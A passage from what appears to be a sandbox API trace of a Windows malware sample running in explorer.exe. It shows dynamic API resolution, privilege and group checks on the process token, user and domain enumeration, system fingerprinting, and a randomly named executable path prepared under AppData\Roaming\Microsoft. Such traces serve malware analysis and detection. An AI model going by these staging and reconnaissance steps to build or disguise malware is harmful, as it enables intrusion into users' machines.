0x484f6b0 [0291.367] GetProcAddress (hModule=0x77230000, lpProcName="FreeSid") returned 0x7724fa80 [0291.367] lstrlenA (lpString="FreeSid") returned 7 [0291.367] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.367] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x12) returned 0x484f6b0 [0291.368] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidA") returned 0x772750b0 [0291.368] lstrlenA (lpString="LookupAccountSidA") returned 17 [0291.368] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.368] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x12) returned 0x484f6b0 [0291.368] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0291.368] lstrlenA (lpString="LookupAccountSidW") returned 17 [0291.368] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.368] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x15) returned 0x484f6b0 [0291.368] GetProcAddress (hModule=0x77230000, lpProcName="CreateProcessAsUserW") returned 0x77250690 [0291.368] lstrlenA (lpString="CreateProcessAsUserW") returned 20 [0291.368] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.368] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f6b0 [0291.368] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x74720000 [0291.369] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xe) returned 0x484f6c8 [0291.369] GetProcAddress (hModule=0x74720000, lpProcName="ShellExecuteW") returned 0x748842e0 [0291.369] lstrlenA (lpString="ShellExecuteW") returned 13 [0291.369] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6c8 | out: hHeap=0x47d0000) returned 1 [0291.369] lstrlenA (lpString="shell32.dll") returned 11 [0291.369] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.369] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xb) returned 0x484f6b0 [0291.369] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76850000 [0291.369] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f6c8 [0291.370] GetProcAddress (hModule=0x76850000, lpProcName="EnumWindows") returned 0x7686a3c0 [0291.370] lstrlenA (lpString="EnumWindows") returned 11 [0291.370] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6c8 | out: hHeap=0x47d0000) returned 1 [0291.370] lstrlenA (lpString="user32.dll") returned 10 [0291.370] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.370] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f6b0 [0291.370] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x76bd0000 [0291.370] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x9) returned 0x484f6c8 [0291.370] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIA") returned 0x76be8370 [0291.371] lstrlenA (lpString="StrStrIA") returned 8 [0291.371] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6c8 | out: hHeap=0x47d0000) returned 1 [0291.371] lstrlenA (lpString="shlwapi.dll") returned 11 [0291.371] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.371] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x9) returned 0x484f6b0 [0291.371] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIW") returned 0x76be4390 [0291.371] lstrlenA (lpString="StrStrIW") returned 8 [0291.371] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.371] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x9) returned 0x484f6b0 [0291.371] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpIW") returned 0x76be1660 [0291.371] lstrlenA (lpString="StrCmpIW") returned 8 [0291.371] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.371] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f6b0 [0291.372] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineA") returned 0x76bebf40 [0291.372] lstrlenA (lpString="PathCombineA") returned 12 [0291.372] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.372] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f6b0 [0291.372] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineW") returned 0x76be8890 [0291.372] lstrlenA (lpString="PathCombineW") returned 12 [0291.372] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.372] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484f6b0 [0291.372] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecA") returned 0x76bec2a0 [0291.372] lstrlenA (lpString="PathMatchSpecA") returned 14 [0291.372] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.372] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484f6b0 [0291.373] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecW") returned 0x76bec300 [0291.373] lstrlenA (lpString="PathMatchSpecW") returned 14 [0291.373] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.373] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x13) returned 0x484f6b0 [0291.373] GetProcAddress (hModule=0x76bd0000, lpProcName="PathUnquoteSpacesW") returned 0x76be4a50 [0291.373] lstrlenA (lpString="PathUnquoteSpacesW") returned 18 [0291.373] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.373] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x9) returned 0x484f6b0 [0291.373] GetProcAddress (hModule=0x76bd0000, lpProcName="StrTrimW") returned 0x76be7300 [0291.373] lstrlenA (lpString="StrTrimW") returned 8 [0291.373] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.373] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xa) returned 0x484f6b0 [0291.373] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpNIA") returned 0x76beca70 [0291.373] lstrlenA (lpString="StrCmpNIA") returned 9 [0291.374] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.374] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x8) returned 0x484f6b0 [0291.374] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrW") returned 0x76be7850 [0291.374] lstrlenA (lpString="StrStrW") returned 7 [0291.374] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.374] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f6b0 [0291.374] LoadLibraryA (lpLibFileName="setupapi.dll") returned 0x76430000 [0291.374] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x16) returned 0x484f6c8 [0291.374] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiEnumDeviceInfo") returned 0x76448a60 [0291.374] lstrlenA (lpString="SetupDiEnumDeviceInfo") returned 21 [0291.374] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6c8 | out: hHeap=0x47d0000) returned 1 [0291.374] lstrlenA (lpString="setupapi.dll") returned 12 [0291.374] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.374] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x1d) returned 0x484f6b0 [0291.375] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiDestroyDeviceInfoList") returned 0x76448640 [0291.375] lstrlenA (lpString="SetupDiDestroyDeviceInfoList") returned 28 [0291.375] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.375] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x15) returned 0x484f6b0 [0291.375] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetClassDevsA") returned 0x76458af0 [0291.375] lstrlenA (lpString="SetupDiGetClassDevsA") returned 20 [0291.375] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.375] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x22) returned 0x484f6b0 [0291.375] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetDeviceRegistryPropertyA") returned 0x764580f0 [0291.375] lstrlenA (lpString="SetupDiGetDeviceRegistryPropertyA") returned 33 [0291.375] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.428] GetCurrentProcessId () returned 0xd30 [0291.428] GetTickCount () returned 0x11891be [0291.428] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2b4a420, nSize=0x105 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\explorer.exe" (normalized: "c:\\windows\\syswow64\\explorer.exe")) returned 0x20 [0291.432] GetCurrentProcess () returned 0xffffffff [0291.438] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x287eeb8 | out: TokenHandle=0x287eeb8*=0x2e4) returned 1 [0291.438] GetTokenInformation (in: TokenHandle=0x2e4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x287ee98 | out: TokenInformation=0x0, ReturnLength=0x287ee98) returned 0 [0291.438] GetLastError () returned 0x7a [0291.438] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x24) returned 0x484f6b0 [0291.438] GetTokenInformation (in: TokenHandle=0x2e4, TokenInformationClass=0x1, TokenInformation=0x484f6b0, TokenInformationLength=0x24, ReturnLength=0x287eeb4 | out: TokenInformation=0x484f6b0, ReturnLength=0x287eeb4) returned 1 [0291.438] CloseHandle (hObject=0x2e4) returned 1 [0291.438] AllocateAndInitializeSid (in: pIdentifierAuthority=0x287eeac, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x287eeb4 | out: pSid=0x287eeb4*=0x2c62600*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0291.438] EqualSid (pSid1=0x484f6b8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), pSid2=0x2c62600*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0 [0291.438] GetCurrentThread () returned 0xfffffffe [0291.438] OpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x287ee90 | out: TokenHandle=0x287ee90*=0x0) returned 0 [0291.439] GetLastError () returned 0x3f0 [0291.439] GetCurrentProcess () returned 0xffffffff [0291.439] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x287ee90 | out: TokenHandle=0x287ee90*=0x2e4) returned 1 [0291.439] GetTokenInformation (in: TokenHandle=0x2e4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x287ee80 | out: TokenInformation=0x0, ReturnLength=0x287ee80) returned 0 [0291.439] GetLastError () returned 0x7a [0291.439] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x140) returned 0x484f6e0 [0291.439] GetTokenInformation (in: TokenHandle=0x2e4, TokenInformationClass=0x2, TokenInformation=0x484f6e0, TokenInformationLength=0x140, ReturnLength=0x287eea8 | out: TokenInformation=0x484f6e0, ReturnLength=0x287eea8) returned 1 [0291.439] AllocateAndInitializeSid (in: pIdentifierAuthority=0x287eea0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x287eeb4 | out: pSid=0x287eeb4*=0x2c62588*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0291.439] EqualSid (pSid1=0x484f754*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), pSid2=0x2c62588*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0291.439] EqualSid (pSid1=0x484f770*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), pSid2=0x2c62588*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0291.439] EqualSid (pSid1=0x484f77c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x72), pSid2=0x2c62588*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0291.439] EqualSid (pSid1=0x484f788*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x2c62588*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0291.439] CloseHandle (hObject=0x2e4) returned 1 [0291.439] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6e0 | out: hHeap=0x47d0000) returned 1 [0291.439] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f6e0 [0291.439] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484f6f8 [0291.440] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0291.440] lstrlenA (lpString="kernel32.dll") returned 12 [0291.440] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6e0 | out: hHeap=0x47d0000) returned 1 [0291.440] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0291.440] lstrlenA (lpString="GetProcAddress") returned 14 [0291.440] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6f8 | out: hHeap=0x47d0000) returned 1 [0291.440] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f6e0 [0291.440] LoadLibraryA (lpLibFileName="netapi32.dll") returned 0x74060000 [0291.445] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x11) returned 0x484f6f8 [0291.445] GetProcAddress (hModule=0x74060000, lpProcName="NetApiBufferFree") returned 0x740517c0 [0291.449] lstrlenA (lpString="NetApiBufferFree") returned 16 [0291.449] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6f8 | out: hHeap=0x47d0000) returned 1 [0291.449] lstrlenA (lpString="netapi32.dll") returned 12 [0291.449] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6e0 | out: hHeap=0x47d0000) returned 1 [0291.449] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f6e0 [0291.449] GetProcAddress (hModule=0x74060000, lpProcName="NetUserEnum") returned 0x74033970 [0291.453] lstrlenA (lpString="NetUserEnum") returned 11 [0291.453] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6e0 | out: hHeap=0x47d0000) returned 1 [0291.453] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f6e0 [0291.454] GetProcAddress (hModule=0x74060000, lpProcName="NetGetDCName") returned 0x7401db20 [0291.458] lstrlenA (lpString="NetGetDCName") returned 12 [0291.458] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6e0 | out: hHeap=0x47d0000) returned 1 [0291.458] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x16) returned 0x484f6e0 [0291.459] GetProcAddress (hModule=0x74060000, lpProcName="NetGetJoinInformation") returned 0x73ff3060 [0291.462] lstrlenA (lpString="NetGetJoinInformation") returned 21 [0291.463] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6e0 | out: hHeap=0x47d0000) returned 1 [0291.463] NetGetDCName (in: servername=0x0, domainname=0x0, bufptr=0x287faec | out: bufptr=0x287faec) returned 0x995 [0291.509] NetGetJoinInformation (in: lpServer=0x0, lpNameBuffer=0x287faec, BufferType=0x287fae4 | out: lpNameBuffer=0x287faec*="WORKGROUP", BufferType=0x287fae4) returned 0x0 [0291.648] lstrlenW (lpString="WORKGROUP") returned 9 [0291.648] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x14) returned 0x484f6e0 [0291.648] NetApiBufferFree (Buffer=0x2c61dd8) returned 0x0 [0291.688] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x484f6b8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), Name=0x2b48cc8, cchName=0x287fae8, ReferencedDomainName=0x287f89c, cchReferencedDomainName=0x287faf8, peUse=0x287fae0 | out: Name="FD1HVy", cchName=0x287fae8, ReferencedDomainName="NQDPDE", cchReferencedDomainName=0x287faf8, peUse=0x287fae0) returned 1 [0291.691] GetSystemMetrics (nIndex=4096) returned 0 [0291.740] lstrcpynW (in: lpString1=0x2b48dd8, lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe", iMaxLength=522 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" [0291.740] lstrcpynW (in: lpString1=0x2b48c84, lpString2="xafpqko.exe", iMaxLength=64 | out: lpString1="xafpqko.exe") returned="xafpqko.exe" [0291.740] lstrlenW (lpString="xafpqko.exe") returned 11 [0291.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="xafpqko", cchWideChar=-1, lpMultiByteStr=0x2b48c64, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xafpqko", lpUsedDefaultChar=0x0) returned 8 [0291.740] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe") returned 64 [0291.740] lstrcpynW (in: lpString1=0x2b49218, lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc", iMaxLength=261 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc" [0291.740] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc", lpString2="\\" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\" [0291.740] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\", lpString2="xafpqko" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko" [0291.741] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xa) returned 0x484f700 [0291.741] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko", lpString2=".dat" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" [0291.741] lstrlenA (lpString=".") returned 1 [0291.741] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f700 | out: hHeap=0x47d0000) returned 1 [0291.741] lstrlenA (lpString="user32.dll") returned 10 [0291.741] lstrlenA (lpString="user32.dll") returned 10 [0291.741] lstrlenA (lpString="user32.dll") returned 10 [0291.741] lstrlenA (lpString="user32.dll") returned 10 [0291.742] lstrlenA (lpString="user32.dll") returned 10 [0291.742] lstrlenA (lpString="user32.dll") returned 10 [0291.742] lstrlenA (lpString="user32.dll") returned 10 [0291.742] lstrlenA (lpString="user32.dll") returned 10 [0291.742] lstrlenA (lpString="user32.dll") returned 10 [0291.743] lstrlenA (lpString="user32.dll") returned 10 [0291.743] lstrlenA (lpString="user32.dll") returned 10 [0291.743] lstrlenA (lpString="user32.dll") returned 10 [0291.743] lstrlenA (lpString="user32.dll") returned 10 [0291.743] lstrlenA (lpString="user32.dll") returned 10 [0291.743] lstrlenA (lpString="xafpqko") returned 7 [0291.744] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x1b) returned 0x484f700 [0291.744] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xb) returned 0x484f728 [0291.744] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0291.744] lstrlenA (lpString="user32.dll") returned 10 [0291.744] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0291.744] lstrlenA (lpString="user32.dll") returned 10 [0291.744] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0291.744] lstrlenA (lpString="user32.dll") returned 10 [0291.744] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0291.744] lstrlenA (lpString="user32.dll") returned 10 [0291.744] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0291.744] lstrlenA (lpString="user32.dll") returned 10 [0291.744] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0291.744] lstrlenA (lpString="user32.dll") returned 10 [0291.744] lstrlenA (lpString="1234567890") returned 10 [0291.744] lstrlenA (lpString="user32.dll") returned 10 [0291.745] lstrlenA (lpString="1234567890") returned 10 [0291.745] lstrlenA (lpString="user32.dll") returned 10 [0291.745] lstrlenA (lpString="1234567890") returned 10 [0291.745] lstrlenA (lpString="user32.dll") returned 10 [0291.745] lstrlenA (lpString="1234567890") returned 10 [0291.745] lstrlenA (lpString="user32.dll") returned 10 [0291.745] lstrlenA (lpString="1234567890") returned 10 [0291.745] lstrlenA (lpString="user32.dll") returned 10 [0291.745] lstrlenA (lpString="1234567890") returned 10 [0291.745] lstrlenA (lpString="user32.dll") returned 10 [0291.745] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0291.745] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f700 | out: hHeap=0x47d0000) returned 1 [0291.745] lstrlenA (lpString="1234567890") returned 10 [0291.745] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f728 | out: hHeap=0x47d0000) returned 1 [0291.746] GetCurrentProcess () returned 0xffffffff [0291.746] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x287eeb4 | out: TokenHandle=0x287eeb4*=0x324) returned 1 [0291.746] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x287ee8c | out: TokenInformation=0x0, ReturnLength=0x287ee8c) returned 0 [0291.746] GetLastError () returned 0x7a [0291.746] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x14) returned 0x484f700 [0291.746] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x19, TokenInformation=0x484f700, TokenInformationLength=0x14, ReturnLength=0x287eeac | out: TokenInformation=0x484f700, ReturnLength=0x287eeac) returned 1 [0291.746] GetSidSubAuthorityCount (pSid=0x484f708*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x484f709 [0291.746] GetSidSubAuthority (pSid=0x484f708*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x484f710 [0291.747] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f700 | out: hHeap=0x47d0000) returned 1 [0291.747] CloseHandle (hObject=0x324) returned 1 [0291.747] GetVersionExA (in: lpVersionInformation=0x2b48bc0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2b48bc0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.747] GetModuleHandleA (lpModuleName="kernel32") returned 0x74560000 [0291.748] GetProcAddress (hModule=0x74560000, lpProcName="IsWow64Process") returned 0x74575a20 [0291.748] GetCurrentProcess () returned 0xffffffff [0291.748] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x287faf8 | out: Wow64Process=0x287faf8) returned 1 [0291.748] GetWindowsDirectoryW (in: lpBuffer=0x2b49dfc, uSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0291.748] GetEnvironmentVariableW (in: lpName="SystemRoot", lpBuffer=0x287f894, nSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0291.748] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x2b4a210, nSize=0x209 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0291.748] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x2b4a006, nSize=0x20a | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp") returned 0x22 [0291.748] GetEnvironmentVariableA (in: lpName="SystemDrive", lpBuffer=0x287faa0, nSize=0x3f | out: lpBuffer="C:") returned 0x2 [0291.748] GetComputerNameW (in: lpBuffer=0x2b4a77c, nSize=0x287faf8 | out: lpBuffer="NQDPDE", nSize=0x287faf8) returned 1 [0291.749] 